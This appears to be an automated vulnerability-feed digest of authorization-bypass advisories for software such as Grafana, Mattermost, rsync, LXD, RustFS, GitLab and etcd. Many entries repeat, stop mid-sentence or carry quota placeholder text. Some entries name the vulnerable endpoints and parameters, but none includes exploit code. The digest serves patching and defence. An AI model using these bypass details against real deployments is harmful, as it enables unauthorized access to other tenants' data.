🎯 建议动作: 建议根据原文自行评估
This vulnerability only affects Grafana stacks configured with multiple organizations; single-organization deployments are not impacted. In a multi-organization stack, a user who is an Org Admin of a single organization can call GET /api/access-control/users/permissions/search?actionPrefix=dashboards: and receive permission data belonging to other organizations. The disclosed data is limited to da
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenViking debug vector scroll and count endpoints apply only account-level scoping without user-level access controls, allowing authenticated users to read all co-tenant records. Attackers can query these endpoints to retrieve private memories, resources, skills, and secret material belonging to other users in the same account without administrative privileges.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Typemill before 2.26.0 contains an authorization bypass vulnerability in the media file download route that allows unauthenticated attackers to access restricted files by submitting path-equivalent URL variants. Attackers can substitute normalized path forms such as dot-slash prefixes, double slashes, or percent-encoded sequences to pass role-based restriction checks while the filesystem resolves
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenViking debug vector scroll and count endpoints apply only account-level scoping without user-level access controls, allowing authenticated users to read all co-tenant records. Attackers can query these endpoints to retrieve private memories, resources, skills, and secret material belonging to other users in the same account without administrative privileges.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Typemill before 2.26.0 contains an authorization bypass vulnerability in the media file download route that allows unauthenticated attackers to access restricted files by submitting path-equivalent URL variants. Attackers can substitute normalized path forms such as dot-slash prefixes, double slashes, or percent-encoded sequences to pass role-based restriction checks while the filesystem resolves
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to 4.10.17, a user with the users.invite_user permission can submit an existing member to POST /api/v1/users/users/invite/, causing the organization invitation logic in apps/users/api/user.py to execute user.org_roles.set(org_roles) and replace the member's existing organization roles, which can
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in the multicloud-operators-subscription component. This vulnerability allows a user on a managed cluster to escalate their privileges by creating a Subscription with specific, crafted annotations. Successful exploitation grants the attacker the ability to deploy resources into any namespace with the elevated permissions of the controller's Service Account, potentially leading to
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.8.x <= 11.8.2, 11.7.x <= 11.7.6, 10.11.x <= 10.11.21 fail to restrict channel member role assignment to channel-scoped roles which allows a channel administrator to gain additional channel permissions via the channel member roles API.. Mattermost Advisory ID: MMSA-2026-00697
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.6, 10.11.x <= 10.11.21 fail to enforce run-state validation on write operations for finished playbook runs which allows a run participant to modify status, checklists, retrospective content, ownership, and participants on completed runs via REST and GraphQL API requests. Mattermost Advisory ID: MMSA-2026-00675
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.6, 10.11.x <= 10.11.21 Mattermost failed to restrict OAuth deauthorization and personal access token management endpoints to direct user sessions, which allowed an OAuth app with a delegated user token to revoke the user's authorizations or tokens for other integrations via account-management endpoints.. Mattermost Advisory ID: MMSA-2026-00704
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.6, 10.11.x <= 10.11.21 fail to prevent guest users from receiving Board Admin privileges during board archive import which allows a board member to escalate a guest user to Board Admin via importing a crafted .boardarchive file. Mattermost Advisory ID: MMSA-2026-00672
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.6, 11.8.x <= 11.8.3 The access control policy unassign endpoint fails to re-validate that each target channel still belongs to the requesting admin's team, which allows an authenticated team administrator to remove ABAC (attribute-based access control) policy assignments from channels outside their team via the policy unassign API after a channel has been moved t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.7.x <= 11.7.6, 10.11.x <= 10.11.21, 11.8.x <= 11.8.3 fails to reconcile SchemeAdmin flags with a user's current role which allows a user demoted to System Guest to retain Board Admin privileges and perform admin-only operations via the Boards REST API or UI.. Mattermost Advisory ID: MMSA-2026-00691
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
stoatchat before 0.15.0 contains a permission bypass vulnerability in the message_fetch route that checks only ViewChannel permission instead of requiring ReadMessageHistory. Attackers with ViewChannel access but ReadMessageHistory denied can retrieve individual message content by ID, bypassing the intended history restriction enforced by bulk read routes.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
stoatchat before 0.15.0 contains a permission bypass vulnerability in the message_fetch route that checks only ViewChannel permission instead of requiring ReadMessageHistory. Attackers with ViewChannel access but ReadMessageHistory denied can retrieve individual message content by ID, bypassing the intended history restriction enforced by bulk read routes.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Pods – Custom Content Types and Fields plugin for WordPress is vulnerable to Privilege Escalation via Authorization Bypass in all versions up to, and including, 3.3.9. The vulnerability exists because the pods_admin AJAX router funnels every access check — including the method allowlist, nonce verification, login enforcement, and capability gate — through pods_error(), which under the JSON met
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Pods – Custom Content Types and Fields plugin for WordPress is vulnerable to Privilege Escalation via Authorization Bypass in all versions up to, and including, 3.3.9. The vulnerability exists because the pods_admin AJAX router funnels every access check — including the method allowlist, nonce verification, login enforcement, and capability gate — through pods_error(), which under the JSON met
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenStack Octavia through 18.0.0 mishandles quality of service (QoS) policy authorization. By associating another project's QoS policy with an amphora, an authenticated user may prevent deletion of that policy. All Octavia deployments are affected.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenStack Octavia 是 OpenStack 生态中的负载均衡服务组件，负责管理虚拟负载均衡器（amphora）。在 18.0.0 及之前版本中，Octavia 对服务质量（QoS）策略的授权处理存在缺陷，导致已认证用户可以将另一个项目（租户）的 QoS 策略与自己的 amphora 关联。由于授权校验不严，关联后，该策略会被此用户“占用”，原所属项目可能无法删除该策略。这会造成策略生命周期管理受阻，属于跨项目的资源绑定问题，破坏了多租户环境下的隔离性。虽然攻击者不能直接读取或修改他人策略内容，但可以阻止其删除，进而影响云平台中 QoS 策略的正常回收与更新。所有 Octavia 部署均受影响，表明这是一个普遍存在的逻辑漏洞。该漏洞的 CVSS 评分为 4.3（中危），攻击向量为网络（AV:N），攻击复杂度低（AC:L），需要低权限（PR:L），无需用户交互（UI:N），影响范围不变（S:U），对机密性无影响（C:N），对完整性有低影响（I:L），对可用性无影响（A:N）。核心风险在于权限校验不充分，导致跨项目资源操作。建议管理员尽快升级到包含修复的版本（请参考 OpenStack 官方安全公告）；若暂时无法升级，应限制网络 API 的暴露范围，并对用户权限进行最小化配置，同时监控异常的 QoS 策略关联操作。建议将修复工作纳入近期安全维护计划。
💡 影响/原因: 该漏洞涉及 OpenStack 多租户隔离，低权限用户即可跨项目绑定 QoS 策略，导致策略无法删除，影响资源管理和平台稳定性。所有部署均受影响，但无在野利用证据，仍应优先修复以防范逻辑滥用风险。
A `SELECT` permission defined on an array element (`DEFINE FIELD field.* … PERMISSIONS FOR select …`) is not enforced correctly for `RECORD` users. Instead of hiding the denied elements, the query leaks a subset of them: a deny-all returns the odd-indexed elements, and a per-element predicate keeps and drops the wrong ones. The filter removed each denied element by index while walking the array f
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A privilege escalation vulnerability exists in Tenable Security Center that allows a user with "Security Manager" role and "manage user" permission on a single group to modify users belonging to other groups. This bypasses the intended access control restrictions and enables unauthorized cross-group user management.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A privilege escalation vulnerability exists in Tenable Security Center that allows a user with "Security Manager" role and "manage user" permission on a single group to modify users belonging to other groups. This bypasses the intended access control restrictions and enables unauthorized cross-group user management.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CrateDB is a distributed SQL database. Prior to versions 6.2.8 and 6.3.2, any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s. CrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SiYuan versions before v3.7.4 contain an information disclosure vulnerability in the getAttributeViewBacklinks endpoint that consults the forbidden access list instead of the visibility list when filtering backlinks. Anonymous readers can supply a publicly visible database row identifier to discover hidden-tier documents that reference it, receiving the database name, row title, and document path
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Budibase versions 3.39.4 before 3.40.0 contain an authorization regression in the S3 attachment upload endpoint that allows BASIC users to obtain S3 PutObject presigned URLs by sending POST requests to the attachments endpoint. The route was changed from a BUILDER permission check to a TABLE/WRITE check, which BASIC users hold by default. Attackers can specify arbitrary S3 buckets in the request b
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Flex Objects plugin (through 1.4.6, tested with Grav 2.0.11) contains an incorrect authorization vulnerability in its Flex Objects API. FlexApiController::update() checks only the general Flex directory permission and does not apply the additional target/field/super-admin checks enforced by the dedicated Users and Groups API controllers. An authenticated account with api.access, admin.login, a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenChoreo is a complete, open-source developer platform for Kubernetes. From 1.2.0-rc.1 until 1.2.0, internal/openchoreo-api/api/handlers/exec.go and internal/openchoreo-api/api/handlers/wirelogs.go authorize component:exec and wirelogs:view using the caller-supplied project query parameter instead of comp.Spec.Owner.ProjectName, allowing a user with a project-scoped grant to execute commands in
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Budibase is an open-source low-code platform. Prior to 3.39.24, POST /api/public/v1/roles/assign called validateGlobalRoleUpdate without checking appBuilder.appId or role.appId in packages/server/src/api/controllers/public/globalRoleValidation.ts. An app-scoped builder could scope the request to an app they control and then grant themselves builder access or an arbitrary role in another app, expos
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenChoreo is a complete, open-source developer platform for Kubernetes. From 1.2.0-rc.1 until 1.2.0, internal/openchoreo-api/api/handlers/exec.go and internal/openchoreo-api/api/handlers/wirelogs.go authorize component:exec and wirelogs:view using the caller-supplied project query parameter instead of comp.Spec.Owner.ProjectName, allowing a user with a project-scoped grant to execute commands in
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Elastic Security capability that suggests existing field values while a user authors endpoint policy artifacts queries Elastic Defend event data with Kibana's internal Elasticsearch account instead of the account of the requesting user. Only Kibana feature privileges are verified, and the caller's Elasticsearch index privileges are not. An authenticated user who holds Elastic Security feature
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to unauthorized deletion of Synthetics private locations via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). Synthetics private locations can be shared with more than one space, and deleting one removes it from every space it is shared with. The safeguard that prevented the deletion of a private location still in use evaluate
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to unauthorized deletion of Synthetics private locations via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). Synthetics private locations can be shared with more than one space, and deleting one removes it from every space it is shared with. The safeguard that prevented the deletion of a private location still in use evaluate
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Elastic Security capability that suggests existing field values while a user authors endpoint policy artifacts queries Elastic Defend event data with Kibana's internal Elasticsearch account instead of the account of the requesting user. Only Kibana feature privileges are verified, and the caller's Elasticsearch index privileges are not. An authenticated user who holds Elastic Security feature
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Kibana Agent Builder determines whether a caller owns a private agent by comparing a stable user identifier when one is recorded, and falling back to a comparison of the username when it is not. A username is not unique across Elasticsearch authentication realms, so two distinct principals that share a username in different realms are treated as the same owner. This discloses the configuration and
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana Fleet can lead to privilege escalation via Privilege Abuse (CAPEC-122). Fleet restricts some callers to managing integration policies for one specific integration. When an existing integration policy was updated, that restriction was evaluated against the integration recorded on the stored policy rather than against the replacement integration supplied w
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
vantage6 is an open-source infrastructure for privacy preserving analysis. In version 5.0.2 and earlier, the algorithm-store edit permission lacks an ownership check, allowing one algorithm developer to alter another developer's algorithm while it is pending or under review. The attacker can change metadata including the algorithm image or image tag, causing reviewers and nodes to trust a differen
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Public-only repository tokens can update private PR head branches
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Public-only API token restriction is not enforced on team API routes
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OAuth token introspection returns metadata of tokens issued to other clients (RFC 7662 section 4 violation)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Fork-PR Actions task can read a third private repository via the collaborative-owner branch (missing fork-PR guard)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Token public-only scope bypassed on Limited-visibility owners (Repository + Package categories) — residual after CVE-2026-25714 / PR #37118
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OAuth2 sign-in reactivates an administrator-deactivated account on auth sources without refresh tokens (incomplete fix of #38009)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Public-only tokens bypass private-resource restrictions on `/api/v1/user` self routes
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Public-only repository tokens can update private PR head branches
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Public-only API token restriction is not enforced on team API routes
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OAuth token introspection returns metadata of tokens issued to other clients (RFC 7662 section 4 violation)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Token public-only scope bypassed on Limited-visibility owners (Repository + Package categories) — residual after CVE-2026-25714 / PR #37118
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OAuth2 sign-in reactivates an administrator-deactivated account on auth sources without refresh tokens (incomplete fix of #38009)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization bypass vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.17 due to improper authorization validation in delegated email sending functionality. An authenticated attacker can send specially crafted SOAP requests to impersonate another user and send emails without possessing the required delegation or send-as permissions. This occurs in the SaveDraftRequest SOAP handler.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
rsync 3.1.0 before 3.5.0 contains an authorization bypass in auth users directive parsing. The auth users parser uses comma-only tokenization when splitting the user list, which fails to correctly handle entries of the form @Group Name where the group name contains a space. The space within the group name causes the parser to split the entry at the space boundary, discarding the deny rule associat
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
rsync 3.1.0 before 3.5.0 contains an access control bypass vulnerability that allows remote attackers to circumvent hosts deny rules by inducing DNS resolution failures during hostname-based access control evaluation. When a DNS lookup for a hostname-based deny rule fails, the daemon skips the rule rather than defaulting to a deny decision, enabling attackers who can trigger DNS failures to bypass
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
rsync before 3.5.0 contains a filter rule bypass vulnerability that allows authenticated clients to override module-level filter restrictions by supplying malicious --filter merge file directives. Attackers can inject client-side merge file directives during filter evaluation to introduce rules that supersede daemon module-level restrictions, gaining access to files the module filter was intended
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
rsync 3.1.0 before 3.5.0 contains an access control bypass vulnerability that allows remote attackers to circumvent hosts deny rules by inducing DNS resolution failures during hostname-based access control evaluation. When a DNS lookup for a hostname-based deny rule fails, the daemon skips the rule rather than defaulting to a deny decision, enabling attackers who can trigger DNS failures to bypass
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
rsync 3.1.0 before 3.5.0 contains an authorization bypass in auth users directive parsing. The auth users parser uses comma-only tokenization when splitting the user list, which fails to correctly handle entries of the form @Group Name where the group name contains a space. The space within the group name causes the parser to split the entry at the space boundary, discarding the deny rule associat
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
rsync before 3.5.0 contains a filter rule bypass vulnerability that allows authenticated clients to override module-level filter restrictions by supplying malicious --filter merge file directives. Attackers can inject client-side merge file directives during filter evaluation to introduce rules that supersede daemon module-level restrictions, gaining access to files the module filter was intended
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect authorization check in the v2 Alarm REST API in OpenNMS Meridian and Horizon allows a low-privileged authenticated user (ROLE_REST) to acknowledge, escalate, or clear alarms recorded as an arbitrary username, and, when also assigned ROLE_READONLY, to modify alarm state despite the read-only restriction. A credential check that should restrict these operations is guarded by an inverted
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In OpenStack Designate before 22.0.1, zone creation checks (_is_subzone, _is_superzone, and the duplicate-zone DB constraint) are scoped to the target pool only. An authenticated user can bypass these checks by scheduling a zone to a different pool via the AttributeFilter scheduler, creating an overlapping zone that conflicts with another tenant's zone. This enables cross-tenant DNS hijack (redire
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
@cedar-policy/authorization-for-expressjs is an open-source Express.js middleware that integrates Cedar authorization into Express applications by mapping HTTP requests to Cedar actions and evaluating authorization policies before allowing requests to proceed. Versions prior to 0.3.0 have an issue where, under certain circumstances, the middleware matches incoming requests against Cedar action map
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In OpenStack Designate before 22.0.1, zone creation checks (_is_subzone, _is_superzone, and the duplicate-zone DB constraint) are scoped to the target pool only. An authenticated user can bypass these checks by scheduling a zone to a different pool via the AttributeFilter scheduler, creating an overlapping zone that conflicts with another tenant's zone. This enables cross-tenant DNS hijack (redire
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
etcd 是一个分布式键值存储系统，用于保存分布式系统数据。在版本 3.5.33、3.6.14 和 3.7.1 之前，存在一个权限绕过漏洞。当集群启用了认证后，一个仅被授予某个精确键 READ 权限的用户，可以利用 Watch gRPC API 并结合 clientv3.WithFromKey() 选项，接收到所有字典序大于或等于该键的键的 watch 事件。漏洞根源在于 server/etcdserver/api/v3rpc/watch.go 中，开放范围的 RangeEnd 哨兵在 RBAC 权限检查（位于 server/auth/range_perm_cache.go 的 isRangeOpPermitted 函数）之前被重写，导致请求被错误地视为精确键 watch，从而绕过了原本应有的范围权限校验。值得注意的是，Range/Get 和 DeleteRange 请求不受此问题影响，攻击面仅限于 Watch API。该漏洞仅影响启用了认证的 etcd 集群。修复版本为 3.5.33、3.6.14 和 3.7.1。建议所有受影响用户尽快升级到上述修复版本，同时在条件允许的情况下限制 etcd 端口的网络暴露范围，以降低被利用的风险。
💡 影响/原因: 该漏洞使低权限用户可越权通过 Watch 监听大量键值变化，导致敏感数据泄露。启用认证的 etcd 集群均受影响，修复版本已发布，应优先升级。
SiYuan versions before v3.7.4 contain an information disclosure vulnerability in the UILayout filter that fails to properly restrict administrator workspace state from publish readers. Unauthenticated attackers can retrieve the administrator's open documents, search terms, notebook paths, and private asset locations by calling the getConf endpoint without authentication.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SiYuan before v3.7.4 contains an information disclosure vulnerability in the /api/tag/getTag endpoint that returns tag labels and occurrence counts from password-protected documents to unauthenticated readers. Attackers can enumerate tag vocabulary and internal terminology from password-protected documents by calling the tag endpoint without providing the document's publish password.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.1.4 and 19.2 before 19.2.2 that under certain conditions could have allowed an authenticated user to read policy configuration belonging to a namespace they were not authorized to access, due to incorrect authorization checks in a GraphQL query.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SiYuan before v3.7.4 contains an information disclosure vulnerability in the /api/tag/getTag endpoint that returns tag labels and occurrence counts from password-protected documents to unauthenticated readers. Attackers can enumerate tag vocabulary and internal terminology from password-protected documents by calling the tag endpoint without providing the document's publish password.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SiYuan versions before v3.7.4 contain an information disclosure vulnerability in the UILayout filter that fails to properly restrict administrator workspace state from publish readers. Unauthenticated attackers can retrieve the administrator's open documents, search terms, notebook paths, and private asset locations by calling the getConf endpoint without authentication.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization bypass vulnerability in LXD due to a timing flaw during configuration merging allows an authenticated attacker to bypass target project restrictions during cross-project instance copies. When copying an instance to a target project, LXD performs restriction checks before configuration merging is complete, creating a time-of-check to time-of-use (TOCTOU) condition. An attacker can
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project restrictions during instance migration. When migrating an instance to a target project, LXD accepts configuration overrides without validating the new configuration against the target project's enforced restrictions. An attacker can exploit this flaw to move instances with disallowed high-privile
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass project-level container isolation restrictions. When a project is configured with restrictions on container privileges (such as enforcing restricted.containers.privilege=isolated), LXD fails to enforce the requirement if an instance configuration omits the security.idmap.isolated key. An attacker can exploit th
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project security restrictions during cross-project instance migrations. When moving an instance cross-project to a different cluster member via POST /1.0/instances/{name} with migration: true, project: , and target: , the destination node skips all project restriction checks because the request arrives a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.1.4 and 19.2 before 19.2.2 that under certain conditions could have allowed an authenticated user to read policy configuration belonging to a namespace they were not authorized to access, due to incorrect authorization checks in a GraphQL query.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.6 before 19.0.6, 19.1 before 19.1.4, and 19.2 before 19.2.2 that under certain conditions could have allowed an authenticated user with developer role to modify certain package registry metadata without the required maintainer-level permissions due to improper authorization checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.0.6, 19.1 before 19.1.4, and 19.2 before 19.2.2 that under certain conditions could have allowed an authenticated user with developer-role permissions to execute CI/CD pipelines on a protected branch without the required push permissions due to improper authorization in pipeline reference validation.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.12, an anonymous ListObjectVersions request in rustfs/src/storage/access.rs that lacks a direct bucket-policy grant falls back to an s3:ListBucket check and returns before the policy_allowed path applies deny_anonymous_table_data_plane_if_needed and RestrictPublicBuckets, so a bucket that permits anonymous listing can
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.12, RustFS evaluates the ForAllValues: and ForAnyValue: set qualifiers with the negated string operators StringNotEquals, StringNotEqualsIgnoreCase, StringNotLike, ArnNotEquals, and ArnNotLike using each other's semantics because crates/policy/src/policy/function/string.rs negates the aggregate result after eval or ev
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.12, RustFS get_condition_values folds attacker-controlled request headers from HeaderMap into server-derived userid, username, principaltype, groups, versionid, signatureversion, jwt:, and ldap: condition keys, allowing authenticated callers to satisfy identity-based policy conditions. This issue is fixed in version 1
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RustFS is a distributed object storage system built in Rust. From 1.0.0-alpha.64 until 1.0.0-rc.1, RustFS external OPA authorization enabled by RUSTFS_POLICY_PLUGIN_URL in crates/iam/src/sys.rs sets PreparedIamAuth.needs_existing_object_tag incorrectly for PreparedIamMode::Opa, causing maybe_merge_object_tag_conditions to omit s3:ExistingObjectTag/* values and allowing authenticated users to bypas
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RustFS is a distributed object storage system built in Rust. RustFS authorizes explicit versionId reads in GetObject, CopyObject sources, and UploadPartCopy sources with s3:GetObject instead of s3:GetObjectVersion, allowing principals without historical-version permission to disclose known historical object content. This issue is fixed in version 1.0.0-beta.11.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A bundle writer may create misleading release promotion information under specific conditions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Docker Sandboxes (sbx) applies the read-only intent of a runtime host mount to the in-guest container bind only: the underlying virtio-fs host-edge grant is added to the sandbox's policy-share allowlist with no access mode. The directory stays writable at its shared-export path, so unprivileged code inside the sandbox can derive that path and write to a host directory the operator attached read-on
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Admidio is an open-source user management solution. Prior to version 5.0.10, `modules/documents-files.php` gates state-changing modes by checking that the actor has `hasUploadRight()` on the URL parameter `folder_uuid`. The `move_save` handler then operates on a *separate* URL parameter `file_uuid` and calls `File::moveToFolder($destFolderUUID)`. `File::moveToFolder()` checks the upload right on t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
